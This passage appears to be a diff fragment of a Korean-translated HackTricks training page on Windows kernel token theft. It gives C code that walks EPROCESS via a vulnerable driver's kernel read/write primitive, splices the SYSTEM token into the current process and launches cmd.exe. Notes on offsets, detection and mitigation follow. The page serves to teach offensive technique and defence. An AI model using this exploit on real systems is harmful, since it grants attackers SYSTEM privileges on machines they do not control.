&pid); +if ((DWORD)pid == myPid) { EPROC_ME = cur; break; } +uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink); +cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD +} while (cur != EPROC_SYS); + +// 4) Read tokens +uint64_t tok_sys, tok_me; +kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys); +kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me); + +// 5) Mask EX_FAST_REF low bits and splice refcount bits +uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds +uint64_t tok_new = tok_sys_mask | (tok_me & 0x7); + +// 6) Write back +kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new); + +// 7) We are SYSTEM now +system("cmd.exe"); +return 0; +} +``` +참고: +- Offsets: 대상의 PDBs 또는 런타임 심볼 로더와 함께 WinDbg의 `dt nt!_EPROCESS`를 사용하여 올바른 오프셋을 얻으십시오. 무작정 하드코딩하지 마세요. +- Mask: x64에서 token은 EX_FAST_REF입니다; 하위 3비트는 참조 카운트 비트입니다. token의 원래 하위 비트를 유지하면 즉시 refcount 불일치를 피할 수 있습니다. +- Stability: 현재 프로세스를 권한 상승하는 것을 권장합니다. 짧게 실행되는 헬퍼를 상승시키면 종료 시 SYSTEM을 잃을 수 있습니다. + +## 탐지 및 완화 +- 강력한 IOCTLs를 노출하는 서명되지 않았거나 신뢰할 수 없는 타사 드라이버를 로드하는 것이 근본 원인입니다. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard 및 Attack Surface Reduction 규칙은 취약한 드라이버의 로딩을 차단할 수 있습니다. +- EDR은 arbitrary read/write를 구현하는 의심스러운 IOCTL 시퀀스와 token 교체를 감시할 수 있습니다. + +## References +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) + +{{#include ../../banners/hacktricks-training.md}}